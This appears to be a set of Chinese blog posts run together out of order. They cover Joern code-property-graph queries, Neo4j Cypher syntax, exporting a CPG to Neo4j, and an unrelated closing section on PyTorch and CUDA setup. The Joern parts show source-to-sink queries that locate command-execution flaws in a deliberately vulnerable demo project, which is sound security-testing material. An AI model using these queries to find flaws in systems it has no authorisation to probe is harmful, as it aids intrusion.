    astParentFullName = "<empty>",
    astParentType = "<empty>",
    code = "public static String getRequestBody(HttpServletRequest request) throws IOException",
    columnNumber = Some(value = 5),
    columnNumberEnd = Some(value = 5),
    filename = "src\\main\\java\\org\\joychou\\util\\WebUtils.java",
    fullName = "org.joychou.util.WebUtils.getRequestBody:<unresolvedSignature>(1)",
    hash = None,
    isExternal = false,
    lineNumber = Some(value = 13),
    lineNumberEnd = Some(value = 16),
    name = "getRequestBody",
    order = 1,
    signature = "<unresolvedSignature>(1)"
  )
)

• cpg.call.name(‘xxx’)
• cpg.call(‘xxx’)

寻找对应方法/函数调用的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

joern> cpg.call("getRequestBody").take(1).l
val res7: List[io.shiftleft.codepropertygraph.generated.nodes.Call] = List(
  Call(
    id = 8485L,
    argumentIndex = 2,
    argumentName = None,
    code = "getRequestBody(request)",
    columnNumber = Some(value = 22),
    dispatchType = "DYNAMIC_DISPATCH",
    dynamicTypeHintFullName = ArraySeq(),
    lineNumber = Some(value = 25),
    methodFullName = "org.joychou.util.WebUtils.getRequestBody:<unresolvedSignature>(1)",
    name = "getRequestBody",
    order = 2,
    possibleTypes = ArraySeq(),
    signature = "<unresolvedSignature>(1)",
    typeFullName = "java.lang.String"
  )
)

• cpg.annotation.name(“.*Mapping”)
• cpg.annotation(“.*Mapping”)

寻找对应名字注解的节点

1
2
3
4
5
6
7
8
9
10
11
12
13
14

joern> cpg.annotation.name(".*Mapping").take(1).l
val res10: List[io.shiftleft.codepropertygraph.generated.nodes.Annotation] = List(
  Annotation(
    id = 2532L,
    argumentIndex = -1,
    argumentName = None,
    code = "@RequestMapping(\"/safecode\")",
    columnNumber = Some(value = 5),
    fullName = "org.springframework.web.bind.annotation.RequestMapping",
    lineNumber = Some(value = 20),
    name = "RequestMapping",
    order = 7
  )
)

在joern的节点你都可以非常简单的用点连接来获取对应节点连接的其他节点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

joern> cpg.annotation.name(".*Mapping").method.take(1).l
val res21: List[io.shiftleft.codepropertygraph.generated.nodes.Method] = List(
  Method(
    id = 2498L,
    astParentFullName = "<empty>",
    astParentType = "<empty>",
    code = "public void crlf(HttpServletRequest request, HttpServletResponse response)",
    columnNumber = Some(value = 5),
    columnNumberEnd = Some(value = 5),
    filename = "src\\main\\java\\org\\joychou\\controller\\CRLFInjection.java",
    fullName = "org.joychou.controller.CRLFInjection.crlf:<unresolvedSignature>(2)",
    hash = None,
    isExternal = false,
    lineNumber = Some(value = 20),
    lineNumberEnd = Some(value = 28),
    name = "crlf",
    order = 1,
    signature = "<unresolvedSignature>(2)"
  )
)

除了常规的method，annotation，call这种以外，比较常见的节点类型还有

https://docs.joern.io/cpgql/node-type-steps/

• cpg.configFile：配置文件
• cpg.identifier：标识符
• cpg.imports：引用
• cpg.methodReturn：方法的返回节点
• cpg.parameter：参数

当然除了上面的这些节点以外，还有一些调用关系的通用节点

• cpg.method.name(“getRequestBody”).caller

返回节点列表对应节点的被调用节点，也就是父节点

• cpg.method.name(“getRequestBody”).callee

返回节点列表对应节点的调用节点，也就是子节点

• cpg.method.name(“getRequestBody”).callIn

返回节点列表对应父节点的所有节点

过滤器

凡是节点连接的都是作为结果传到下一级的，如果是想筛选符合条件的节点则需要用where或者属性过滤器，比如说

• cpg.method.name(“getRequestBody”).l

查询名字为getRequestBody，这个name就是属性过滤器，向下一级返回的是符合属性过滤器的method节点

• cpg.method.where(_.name(“getRequestBody”)).l

或者用where也行，where语句内容会作为筛选条件影响返回的method内容

• cpg.method.name.l

1
2
3
4
5

joern> cpg.method.name.l
val res36: List[String] = List(
  "configure",
  "main",
...

如果不是使用()作为属性过滤器，那么返回内容就会直接变成name属性列表。

当然除了where以外，也支持很多种过滤器

• where，whereNot：筛选返回为空或者非空的节点

• • cpg.method.where(_.isExternal(false)).name.l

• filter，filterNot：筛选返回为True或者False的节点

• • cpg.method.filter(_.isExternal == false).name.l

• and，or：多个过滤器之间的关系

返回结果处理

在处理结果返回的时候也有一些方式改变返回的内容。一般来说查询结果会是一个字典列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

joern> cpg.method.name("getRequestBody").l
val res64: List[io.shiftleft.codepropertygraph.generated.nodes.Method] = List(
  Method(
    id = 15337L,
    astParentFullName = "<empty>",
    astParentType = "<empty>",
    code = "public static String getRequestBody(HttpServletRequest request) throws IOException",
    columnNumber = Some(value = 5),
    columnNumberEnd = Some(value = 5),
    filename = "src\\main\\java\\org\\joychou\\util\\WebUtils.java",
    fullName = "org.joychou.util.WebUtils.getRequestBody:<unresolvedSignature>(1)",
    hash = None,
    isExternal = false,
    lineNumber = Some(value = 13),
    lineNumberEnd = Some(value = 16),
    name = "getRequestBody",
    order = 1,
    signature = "<unresolvedSignature>(1)"
  )
)

可以用map来改变返回的结构，这是一个类似于lambda的语法，会遍历列表的所有节点然后生成结果.

1
2
3
4
5
6
7
8
9

joern> cpg.method.name("getRequestBody").map(n=>List(n.filename, n.lineNumber, n.fullName, n.code)).l
val res66: List[List[String | Option[Integer]]] = List(
  List(
    "src\\main\\java\\org\\joychou\\util\\WebUtils.java",
    Some(value = 13),
    "org.joychou.util.WebUtils.getRequestBody:<unresolvedSignature>(1)",
    "public static String getRequestBody(HttpServletRequest request) throws IOException"
  )
)

除了map以外，另外还有两个实用的

• .clone，创建一个深复制，是在写比较复杂的脚本时候用到的
• .dedup，列表内容去重
• .sideEffect，按照格式要求执行但不改变原列表

重复获取

既然需要寻找两个节点之间的路径，那么就少不了重复，重复获取父级节点就是最简单的一种数据流分析。

• x.repeat(_.caller)(_.times(5))

重复获取caller共5次，如果找不到结果就会停止

• x.repeat(_.caller)(_.until(_.name(“foo”)))

重复调用 caller 查询，直到找到一个方法名为 foo 的方法，找不到就返回空。

• x.repeat(_.caller)(_.emit(_.isMethod).times(5))

emit的意思是会将查询的过程节点作为返回的列表中的一员。

上面这句语句就是指，重复5次获取当前节点的caller的节点属性，除此之外还会带上路径上所有满足isMethod的节点。

格式化

Joern对于返回结果提供了公式化的输出格式，而且如果不指定输出直接就没有返回

• toList，L，输出列表

• toJson，toJsonPretty，输出json或者格式化的json

• p，browse，输出可读性非常强的结果，如果是流会输出表格

• size，输出节点数量

• dump，dumpRaw，输出节点代码，只有节点才有这个属性

数据流分析

1
2

def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter
def sink = cpg.call.name("exec")

• reachableBy，是最简单的数据流分析函数，他返回的是从前面开始到后面，这个后面节点的位置。比如这里从sink开始查找，展示的就是source的位置

• reachableByFlows，展示两个节点之间的流，包括流上的每个节点

Neo4j

Neo4j的语法在我看来要比Joern的语法别扭多了，但有些问题其实在Neo4j会更容易得到答案，可视化的图结构在某些情况下会有非常明显的优势。

创建实体和关系

• 最简单的创建实体和关系（不带属性）

1

create (n:Person)-[:LOVES]->(m:Dog)

• 创建2个或多个属性的实体

1

create (z:ziduan{name:"f_name",table:"dianlibiao"}) return count(*)

• 创建带属性的实体和关系

1

create (n:Person{name:"李四"})-[:FEAR{level:1}]->(t:Tiger{type:"东北虎"})

• 对实体间创建关系

1

match (n:Person{name:""王五""}), (m:Person{name:"赵六"}) create (n)-[k:KNOW]->(m) return k

delete 删除实体或关系

• 先用match查找已有实体、关系， 再用delete删除关系

1

match (n:Person{name:"李四"})-[f:FEAR]->(t:Tiger) delete f

• 删除所有节点中的边关系

1

match(m)-[b:bian]-(n) delete b

• match查询实体，delete删除实体

1

match (n:Person{name:"李四"}) delete n

• 同时删除实体和关系

1

match(n) detach delete n

• 删除所有节点

1

match (n) delete n

• 删除所有节点并级联删除关系

1

match (n) detach delete n

• 删除Loc标签的所有节点和关系

1

MATCH (r:Loc) DETACH DELETE r

match查询节点和关系

1
2
3
4
5
6
7

match 
(node)-[relationship]->(node)
where
(node | relationship)
return 
(node | relationship)
match (n：Persion)-[:HAS_PHONE]->(p:Phone) where n.name="姓名6" return n, p  limit 10

• n，代表Persion的别名
• :HAS_PHONE，代表前面Persion的关系
• ()，括号里的都是实体
• []，中括号里的都是关系
• -，代表无方向的关系
• ->，代表有方向的关系

• 查询所有实体节点

1

match(n) return n

• 根据id查找实体

1
2

match (t:Tiger) where id(t)=1837 return t
match (t:Tiger) where id(t)=1837 delete t

• 多度关系查询

1

match (n：Persion)-[:HAS_PHONE]->(p:Phone)-[:CALL]->(p1: Persion) where n.name=“姓名6” return n, p,p1  limit 10

• 利用关系查询， 不限定实体只限定关系的查询

1

match p=()-[c: CALL]->() return p limit 10

• 根据实体属性匹配正则查询， 使用通配符，通配符前要加~

1

match (n:USERS) where n.name=~'Jack.*' return n limit 10

• 包含查询 使用关键词contains

1

match (n:USERS) where n.name= contains 'J'  return n limit 10

• 附带属性多实体查询， 逗号隔开

1

match (n:Person{name:"王五"}), (m:Person{name:"赵六"}) return n,m

• 查询多种label节点，并进行过滤

1

match(n) where n:标签1 or n:标签B  return distinct n;

• distinct * 关键字表示返回节点不重复
• 返回非某几类标签，注意使用 not and 关键字

1

match(n) where not n:标签1 and not n:标签B  return distinct n;

set 修改实体标签或属性

• 实体增加标签

1

match (t:Tiger) where id(t)=1837 set t:A  return t

本质上是给实体增加一个标签，一个实体可以有多个标签

• 给实体增加属性

1

match (a:A) where id(t)=1837 set a.年龄=10  return a

• 给关系增加属性

1

match (n:Person)-[l:LOVE]->(:Person) set l.date="1990" return n, l

• 给所有节点增加标签

1

match(n) set n:table return n

搜索路径

• 单条最短路径

1

match (p1:Person{name:"姓名2"}),(p2:Person{name:"姓名10"}), p=shortestpath((p1)-[*..10]-(p2)) return p

shortestpath()用于查询最短路径 [..10] 表示关系中*不超过10度关系**

• 多条最短路径

1

match (p1:Person{name:"姓名2"}),(p2:Person{name:"姓名10"}), p=allshortestpaths((p1)-[*..10]-(p2)) return p

关系查询

• merge 有关系则返回，没有则创建关系

1
2
3

match (n:Person{name:"王五"}), (m:Person{name:"赵六"}) merge (n)-[l:LOVE]->(m) return l

match (n),(m) where n=m merge (n)-[t:TABLE{table_name:n.table}]-(m) return t

• optional match 可选择匹配，若匹配结果包含空，则用NULL占位

1

OPTIONAL MATCH (n)-[r]->(m) RETURN m

匹配结果集中如果有丢的部分，则会用null来补充

XXX with 字符串开头结尾匹配

• start with 匹配字符串的开头

1
2
3

MATCH (n)
WHERE n.name STARTS WITH '张'
RETURN n

• end with 匹配字符串的结尾

1
2
3

MATCH (n)
WHERE n.name ENDS WITH '三'
RETURN n

边对应的节点

• startNode(rel) 得到一条关系rel对应的起始节点
• endNode(rel) 得到一条关系rel对应的中止节点

• https://lorexxar.cn/2023/08/21/joern-and-cpg/

但实际上来说，如果想要更深入的了解Joern，CPG和图数据库是绕不开的一个话题。CPG作为一种代码属性图，就必须寻找一种图数据库作为载体，就像我们常用的数据和SQL数据库的关系一样。

旧版本的Joern使用的Gremlin，但后来的开发中换成了OverflowDB，在joern中也完全支持使用OverflowDB的查询语法。

• https://github.com/ShiftLeftSecurity/overflowdb

但属性图本身没有什么特异性，比较常见的比如Neo4J，OrientDB或者JanesGraph都支持CPG的表现形式。

但，在这之前，我们首先需要知道，为什么是图？

为什么是图？

在上篇文章中，我在讲了CPG的设计思路时曾经提到过一些相关的内容。

如果说CFG(control flow graphs)相比AST来说最大的特点是带有明确数据流向的流向，在数据流分析可能更有优势。

那么CPG相比CFG来说有一个很大的特点就是信息量大，而图最大的特点也在于，就是可以容纳信息量巨大的内容。

假设我们有这样一段代码

1
2
3
4
5

a = new A()
b = a.b
c.a = b.a
d.a = c
c.b = d.c

这里简单的几行代码，其实展示了相当复杂的依赖链，abcd几个变量中有着复杂的互相指向关系，如果用文字来表示abcd之间的关系我们可能需要拆分很多部分。

1
2
3
4

a -> A()
b -> A().b
c.a -> A().b.a
c.b -> ....

我甚至很难用文字的方式表达出他们之间的关系，而图在这样的场景下就变得很有优势。

当然这只是一个粗浅的例子，但已经很明显的能感觉出来图和文字之间的差距了，图关系可以很轻松的表达出文字很难表达出来的信息量。

Joern与图

Joern用了CPG来储存代码的所有节点关系和属性数据，由于CPG的信息量大，所以Joern甚至提供了官方的生成AST、CFG等其他结构的接口，对于C/C++甚至支持多种自定义的结构。

• Abstract Syntax Trees (AST)
• Control Flow Graphs (CFG)
• Control Dependence Graphs (CDG)
• Data Dependence Graphs (DDG)
• Program Dependence graphs (PDG)
• Code Property Graphs (CPG14)
• Entire graph, i.e. convert to a different graph format (ALL)

在Joern的命令行你可以直接使用相应的命令生成对应的格式

1
2
3
4

cpg.method($name).dotAst.l // output AST in dot format
cpg.method($name).dotCfg.l // output CFG in dot format
...
cpg.method($name).dotCpg14.l // output CPG'14 in dot format

有个很有意思的是，如果你的电脑装了Graphviz，Joern还可以调用Graphviz来绘图，虽然生成的图很难看。

• https://graphviz.org/download/

安装Graphviz之后我们可以通过命令来绘图

1
2
3
4

cpg.method($name).plotDotAst // plot AST
cpg.method($name).plotDotCfg // plot CFG
...
cpg.method($name).plotDotCpg14 // plot CPG'14

说实话，不太实用，但是很方便

Neo4J

相比Graphviz这种仅仅用来临时展示图的应用来说，Neo4J则是标准而且非常成熟的图数据库，不但性能强，而且还实用。

• https://github.com/neo4j/neo4j
• https://neo4j.com/

你可以在官网下载免费的neo4j，其中包括服务端和客户端版本，服务端版本启动后会默认跑到7474端口上。

Neo4j使用的查询语言叫做Cypher，这是一种声明式的图查询语言，我个人觉得Cypher其实算是比较反人类的一种语言，具体的语法可以看对应的文档。

• https://neo4j.com/docs/cypher-manual/current/clauses/

简单来讲Cypher中对应SQL的语句关系有几个比较特别的，首先就是MATCH和where。

1
2
3
4

# SQL
select Person from user where born = 'beijing'
# Cypher
MATCH (a:Person)-[:BORN]->(b:Location {city:'beijing'}) RETURN a,b

MATCH和where在两种查询语句中是类似的功能，其中的区别就是MATCH匹配的是图中节点之间的关系。Cypher语法比较强调节点之间的关系，比如-就是无方向关系，->就是有方向关系。

1
2
3
4
5
6

match 
  (node)-[relationship]->(node)
where
  （node  |  relationship)
return 
    (node | relationship)

其他的比如创建节点、删除节点、创建关系、搜索匹配的节点以及关系等等就不赘述了，算是比较符合理解的语言逻辑。

而相对于普通的数据库来说，图数据库有着可能是一种优势的特性，就是可以直接通过Neo4j的浏览器直接操作图内容以及结构。

直接用鼠标点击各个节点查看对应的属性以及它们之间的关系，并且可以直接拖动他们。

点击节点下面的按钮，可以直接查看到节点连接到的其他节点，很方便也很直观。

Joern与Neo4J

前面说了，Joern使用了自己做的OverflowDBl来作为图数据库存储CPG，但CPG本身没有什么特异性，也就意味着他可以在任意一种图数据库上导入。

而Joern本身是自带了这个功能的，就是joern-export。它支持你导出Joern的CPG到neo4j , graphml, graphson 和 graphviz dot。

1
2
3
4

./joern-export --repr=all --format=neo4jcsv
./joern-export --repr=all --format=graphml
./joern-export --repr=all --format=graphson
./joern-export --repr=all --format=dot

要使用joern-export导出数据的话，需要指定CPG的位置，这个东西会存在Joern目录下的workspace当中，并且需要指定output，默认是./out。

然后我们可以想办法把这些csv文件导入到Neo4j当中。当然你可以用一些自己的方式导入，但joern的这个图还挺麻烦的，主要是neo4j导入复杂结构数据需要指定好各种csv文件的关联。

但joern当然也给出了导入的办法，在生成文件的时候会给出一个导入命令的范例，照着范例就可以搞定了。

首先joern导入数据是有限制的，只能导入import目录下的文件，这个import文件一般会在对应链接的server目录下面，如果你使用的是neo4j的desltop浏览器，那么你可以直接打开对应的import目录，并把文件复制过去。

除了文件以外，还有就是这个/bin/cypher-shell的位置，这个脚本就在对应链接目录的bin下

然后构造对应的find命令生成执行导入即可，其实它的原理也比较简单，就是依次执行*_cypher.csv文件中的命令，然后导入header和data。

最终导入的数据就是这样的

用cypher在Neo4J上查询漏洞

当我们把CPG导入到Neo4J上之后，理论上来说我们可以用cypher来完成我们在Joern中做的所有工作。

这里还是拿上篇文章中用到的RCE代码来举例子。

对应Joern的语句为

1
2
3

def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter

def sink = cpg.call.name("exec")

首先匹配注解节点满足.*Mapping的

1

MATCH (n:ANNOTATION) where n.NAME=~".*Mapping" RETURN n LIMIT 25

然后找这些对应节点关联的方法

1

MATCH (m:METHOD)-[:AST]->(n:ANNOTATION) where n.NAME=~".*Mapping" RETURN n LIMIT 25

然后找一下对应调用exec方法的节点

1

MATCH (n:CALL) where n.NAME="exec" RETURN n LIMIT 25

然后我们把两个节点连接起来，并查找最短路径，这里的[*..10]表示最长不超过10个关系

1

MATCH (p1:METHOD)-[:AST]->(n:ANNOTATION),(p2:CALL),p=shortestpath((p1)-[*..10]-(p2)) where n.NAME=~".*Mapping" and p2.NAME="exec" RETURN p LIMIT 25

这里范例算是比较简单的，所以用这个还算比较简单的语句就可以查询到结果，正好对应漏洞利用链。

无论是基于IR(Intermediate Representation)、AST(abstract syntax trees)、CFG(control flow graphs)、PFG(program dependence graphs)，又或者是其他的什么中间态。白盒代码扫描工具都在这个基础上做模拟执行、污点传播等等方案来分析挖掘漏洞。

而随着CodeQL的概念逐渐被大家接受之后，现在的代码扫描工具越来越趋近于将底层和上层拆解开来，由底层的引擎将代码统一化处理，然后使用者在上层通过编写规则或者语句就可以。主流的CodeQL、Checkmarx其实都使用了类似的方案。今天要说的Joern也是如此。

今天介绍的Joern有什么特殊的呢？

首先CodeQL本身不开源只能使用，偏偏微软还做了商业化限制，以微软喜欢秋后算账的风格来讲，实在无法确定深入研究CodeQL是否值得。

除此之外，市面上的很多白盒扫描工具其实是非静态的，扫描的时候不但需要配置复杂的运行环境，而且本身可能依赖编译过程，无论是自己使用还是商业化这都非常不实用。

个人认为白盒工具有着几个很重要的点

• 静态扫描，静态扫描的优势和便利程度才是白盒比较优势的一环，毕竟白盒不是灰盒，如果对编译环境和运行环境有依赖那为什么不使用更准确的灰盒
• 扫描速度，虽然这点是很多商业化白盒软件的通病，但无论在哪家公司的DevSecOps中，最终目标肯定是把安全检测加载上线前，那么无论是1分钟、3分钟还是5分钟，扫描速度会是第一优先级，比如CheckMarx动辄几小时的扫描肯定是不现实的
• 可diy性，当然对于大部分人来说这点其实并不是很重要，但能对引擎进行深入改造会是优化开发非常重要的一点，joern是开源的，在这方面他有很大的优势
• 可拓展性，市面上大部分的白盒扫描工具动辄支持几十种语言，比如说snoarqube这种，但实际上大部分拓展语言只支持非常简单的正则拓展，我一直觉得现代白盒软件很重要的一条路就是走通用性，这也是比较有名的一些白盒工具都选择的路，在白盒扫描过程中会刻意将统一结构拆分出去再做分析扫描。

今天介绍的joern的其实就是这类工具的一员，他最大的特点其实就是开源。

joern

joern是ShiftLeft 开发的一款基于CPG制作的白盒静态扫描工具，诞生的时间不算早应该就是2021年（具体记不清了）

• https://github.com/joernio/joern

和其他工具不同，他引用了一种叫做CPG(Code Property Graph)的中间结构作为处理结构，是由AST + CFG + PDG叠加而来，最终生成一张图，然后在图的基础上做分析和检测。和传统的基于单一AST或者CFG的工具相比，图结构一方面能承载更多的代码信息，另一方面，CPG也让后续的分析程序更具有通用性。

这就是一张很经典的范例图，用来展示CPG和其他几种的区别。

另一方面，在用户使用的Joern命令行上，Joern构建了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。

至于OverflowDB具体是什么，不是很关键，我们只需要了解joern就行了。

什么是CPG？

关于CPG可以看一篇官方写的基础的理论文章。

• https://blog.shiftleft.io/why-your-code-is-a-graph-f7b980eab740

以下部分内容大量取材于上面这篇文章。

还有就是比较重要的joern的CPG标准文档

• https://cpg.joern.io/
• https://github.com/ShiftLeftSecurity/codepropertygraph

在介绍CPG之前，首先要先对图结构有个基础的概念，无论是图数据库又或者是图结构其实说白了就是把节点以及节点之间的关系以图的方式展示出来。就比如下图表明A和B就是朋友，B和C也是朋友。

换到代码中说白了就是通过图的方式展示代码中不同节点之间的关系，而这个节点可能是代码块，可能是函数块，可能是变量块，他们之间会通过边的属性来展示节点之间的关系。

而代码在编译执行前会经过几个复杂的步骤，在经过最简单的词法分析和语法分析，代码就会被转为AST(abstract syntax trees)也就是抽象语法树，这也是普遍会用到的通用结构，因为从AST开始不同语言的差异就是就很小了，也会有非常标准的结构。

AST则是一个经典的树结构，这算是数据结构当中非常经典的一个，通过遍历树结构我们就能得到更底层的某种结构，比如IR就是这类结构的一种，这种结构会具有更强的执行顺序，相应的也会模糊掉一些语法。

而CFG(**control flow graphs**)是一种更强调执行流的结构，节点和节点之间只有调用关系，而且会有比较强的代码执行顺序，边上会展示执行相应的条件。

而另一个比较有用但是比较少见的就是PDG(**program dependence graphs**)，PDF也是一种图关系，通过图来展示代码节点之间的依赖关系，他更强调的是节点和节点之间的关系，节点之间的边会展示数据节点的影响关系，所以图结构会更复杂，但会更易于寻找节点之间的关系。

下面这张图就是一张PDG，上面的两个对于x和y的定义会单向影响后续节点的变化，这种联动关系很清晰，这就是PDG的优势。

但无论是AST、CFG、PDG或者是IR等数据结构，又或者是某个原创的中间结构，他们的目标都是一致的，就是用更通用的方式解释代码，这整体可以算作编译原理的前端。它本质上没有实际的区别，无非就是哪种通用结构被拿来做代码分析。

而CPG在这个环境下主体由AST、CFG、PDG多种结构融合而来，我觉得它最大的特点就是利用了图结构庞大的信息容纳能力（毕竟图本身并不是二维的，图结构可以很复杂），可以保证我们在代码分析中遇到任何情况都可以在CPG中找到相应的答案和场景。这是图结构相比其他中间结构解决方案难以比拟的优势。

joern做了什么？

而joern作为一个白盒的代码分析工具，主要做了两部分。

第一部分是实现了一种方案来比较通用的代码转CPG，他的原理也很简单，用已经有的某个组件来实现语义分析部分，然后把不同的AST转成统一的AST，最终转成目标CPG。

而第二部分就是，在已有的CPG基础上，实现了一套查询语法，类似CodeQL，这种，允许通过这种语法来构造不同的查询逻辑实现最终的目标

1
2
3

> def source = cpg.identifier.typeFullName(".*HttpServletRequest.*")
> def sink = cpg.call("exec|eval").argument
> sink.reachableBy(source)

拿上面这段代码举例子就是，寻找java当中的代码执行漏洞范围，通过简单的指定source和sink就能实现漏洞挖掘，中间的步骤被封装起来。

它同样支持你使用复杂的Scala脚本进行代码的扫描和处理。通过Scala可以实现更复杂的查询和数据流分析。

相比其他的某个白盒工具来说，joern的优势有一点儿非常特例，这点在CodeQL中也有很强烈的体现，就是大部分的白盒扫描工具对于底层的包裹非常严密，很多工具你只能简单的拿来扫描漏洞。

一方面你无法清楚的知道，从这次扫描中你做了什么事情得到了什么东西，甚至无法知道这些漏洞是怎么被扫描或者是没有被扫描到。

另一方面，如果你的目标并不是单纯的扫描漏洞，而是想要通过工具辅助分析代码，比如想知道某个函数如何访问到，这种问题大概率没有答案。

如果对Joern的设计理念感兴趣，可以看看设计者写的文章

• https://blog.shiftleft.io/semantic-code-property-graphs-and-security-profiles-b3b5933517c1

或者看看设计师的PPT

• https://github.com/joernio/workshops/blob/master/2021-RSA/RSA-LAB2-R08.pdf

使用joern

根据官网的文档，我们可以快捷的安装joern环境

• https://github.com/joernio/joern

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

wget https://github.com/joernio/joern/releases/latest/download/joern-install.sh
chmod +x ./joern-install.sh
sudo ./joern-install.sh
joern

     ██╗ ██████╗ ███████╗██████╗ ███╗   ██╗
     ██║██╔═══██╗██╔════╝██╔══██╗████╗  ██║
     ██║██║   ██║█████╗  ██████╔╝██╔██╗ ██║
██   ██║██║   ██║██╔══╝  ██╔══██╗██║╚██╗██║
╚█████╔╝╚██████╔╝███████╗██║  ██║██║ ╚████║
 ╚════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝
Version: 2.0.1
Type `help` to begin

joern>

windows也可以用同样的方式安装，当然你需要有能跑sh的环境和wget/curl。

如果需要做joern做二次开发，还需要下载idea的scala插件

• https://plugins.jetbrains.com/plugin/1347-scala/versions/stable

joern的使用方法算是比较简单但是怎么用就要看需求了，可以多关注官网提供的很多查询语句帮助理解

• https://queries.joern.io/

这里我们下一个java-sec-code作为范例代码

• https://github.com/JoyChou93/java-sec-code

导入到joern的方式也很简单

在运行代码的时候joern也给出了提示，如果想要扫描特别大的项目，建议把前端的cpg转化过程拆分出去。

1

javasrc2cpg.bat -J-Xmx8092m ../../java-sec-code/ --output D:\program\joern\joern-cli\workspace\java-sec-code\cpg.bin.zip

然后在打开joern后将刚才生成的cpg导入进来

1

importCpg("path/to/cpg")

但其实这个转化CPG的过程不会太慢，因为Joern为了优化这个速度，是把转化和连接这两部分拆开做的，换句话说，就是第一步只是把代码转成了CPG，而其中节点之间的关系并不会在转化过程中连接，而是在语句查询过程中完成，这大大节省了扫描所需的时间。

这里转化的CPG会存在workspace里，用workspace命令可以看到之前转过的所有cpg。

你可以用open(“java-sec-code”)来激活对应的项目

这里最终生成的cpg变量就是代码的CPG，所有的代码数据都会存在这个变量，比如cpg.metaData就是基础元数据，一般来说后面会加个.l，这个l就是tolist，结果会转成list格式。

比较重要的一点是，joern的shell模式为了易用性是优化了tab的，如果不知道命令可以多tab补全命令，会有一个实时的补全，很实用。

通过method可以获取cpg中的所有方法，并获取节点的详细信息。

1

cpg.method.take(1).l

信息太多，你还可以构造返回的map结构，比如行号，方法名，对应的代码。

1

cpg.method.map(n=>List(n.lineNumber, n.name, n.code)).take(1).l

查询调用了getRequestBody的方法，并获取文件名、行数、方法名

1

cpg.method.name("getRequestBody").caller.map(n=>List(n.filename, n.lineNumber, n.fullName, n.code)).l

这里第一行就表示，在XStreamRce.java这个文件的23行调用了getRequestBody这个函数。当然这里我们仅仅找到了一个入口，想要确定这是否可能是个问题，还需要追这个入口(source)是否可以通往敏感函数点，那我们就需要对数据流做分析了。

首先我们需要知道如何访问到调用了getRequestBody的方法，由于这是个SpiringBoot项目，所以可以从@RequestMapping的注解入手，先查询出所有的web入口。

1

cpg.method.where(_.annotation.name(".*Mapping")).map(n=>(n.name, n.annotation.code.l)).l

然后我们可以在@RequestMapping的节点和调用getRequestBody的方法节点中间寻找路径，在Joern它提供了两个方案

• 正向搜索，从每一个RequestMapping的节点向下搜索寻找有没有调用getRequestBody方法的节点

1

cpg.method.where(_.annotation.name(".*Mapping")).repeat(_.callee)(_.until(_.name("getRequestBody"))).l

• 反向搜索，从调用getRequestBody方法的节点向上搜索寻找@RequestMapping的注解

1

cpg.method.name("getRequestBody").repeat(_.caller)(_.until(_.annotation.name(".*Mapping"))).l

关于正向搜索和反向搜索的优劣其实没有特别简单的优劣性，最简单的一个方式是从少的节点往多的节点找，这是最简单的也最不容易浪费资源，只需要执行少的节点数量次数即可。

这里使用的语法是repeat…until…语法，大意是一直向上寻找调用上级/下级，直到满足某个条件为止。

上面的语法只是显示了满足条件的节点，但真正到漏洞挖掘中，我们必须在source和sink中找到数据流才行，当然在Joern中这个也给了非常简单的基础使用方法，也就是reachableBy。

这里用一个比较简单的例子，是java-sec-code最简单的rce例子

首先我们指定exec调用点为sink，然后照例指定含有Mapping注解的方法参数为source

1
2
3

def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter

def sink = cpg.call.name("exec")

然后直接用reachableBy来做数据流分析获取

1

sink.reachableByFlows(source).p

可以看到这里已经找到了刚才那条数据流。

当然静态分析远不止这么简单，是否有效，是否被过滤都是问题，而且数据流当中也会有复杂的问题变化，而joern在这方面是提供了sc脚本的方案来构建复杂的查询逻辑。

1

./joern --script test.sc --params cpgFile=/src.path.zip,outFile=output.log

这部分的内容后面再讲

基础环境

我们需要配置一个环境

• python3.8+，不要太新
• CUDA+环境
• pytorch
• 支持C++17的编译器

首先我比较推荐你配置一个anaconda的环境，因为pytorch的其他安装方法真的很麻烦

• https://www.anaconda.com/distribution/#download-section

然后你需要安装CUDA的环境，正常来说只需要下载对应的CUDA版本即可

• https://developer.nvidia.com/cuda-downloads

然后就是安装pytorch的环境，这个环境比较麻烦，正常来说通过conda来安装是比较靠谱的办法，当然有些时候就是安不了。

如果安装不成功，就只能用源码来编译了。

• https://github.com/pytorch/pytorch#from-source

首先，clone一下源码

1
2
3
4
5

git clone --recursive https://github.com/pytorch/pytorch
cd pytorch
# if you are updating an existing checkout
git submodule sync
git submodule update --init --recursive

然后安装一下对应的各种依赖

1
2
3
4
5
6
7
8

conda install cmake ninja
# Run this command from the PyTorch directory after cloning the source code using the “Get the PyTorch Source“ section below
pip install -r requirements.txt

conda install mkl mkl-include
# Add these packages if torch.distributed is needed.
# Distributed package support on Windows is a prototype feature and is subject to changes.
conda install -c conda-forge libuv=1.39

然后windows的源码编译有点儿复杂，具体要参考各种情况下的编译

• https://github.com/pytorch/pytorch#install-pytorch

在编译这个pytorch这个东西的时候我遇到过贼多问题，其中大部分问题我都搜不到解决方案，最终找到的最靠谱的方案是，不能用太低或者太高版本的python，会好解决很多，最终我选择了用3.10版本的python，解决了大部分的问题。

另外就是如果gpu不是很好或者显存不是很高，也可以使用cpu版本，大部分电脑的内存都会比较大，起码能跑起来。

如果是windows，那一定会用到huggingface，有个东西我建议一定要注意下。

默认的huggingface和pytorch的缓存文件夹是在～/.cache/下，是在c盘下面，而一般LLM的模型文件都贼大，很容易把C盘塞满，这个注意要改下。

在环境变量里加入**HF_HOME和TORCH_HOME ，设**置为指定变量即可。

除此之外，有的项目也会提供docker化的部署方案，如果采用这种方案，就必须在宿主机安装NVIDIA Container Toolkit，并重启docker

1
2
3

sudo apt-get install -y nvidia-container-toolkit-base
sudo systemctl daemon-reload 
sudo systemctl restart docker

进阶构成

LLM

LLM全称**Large Language Model，大语言模型，是以ChatGPT为代表的ai对话核心模块，相比我们无法控制、训练的ChatGPT，也逐渐在出现大量的开源大语言模型，尤其是以ChatGLM、LLaMA**为代表的轻量级语言模型相当好用。

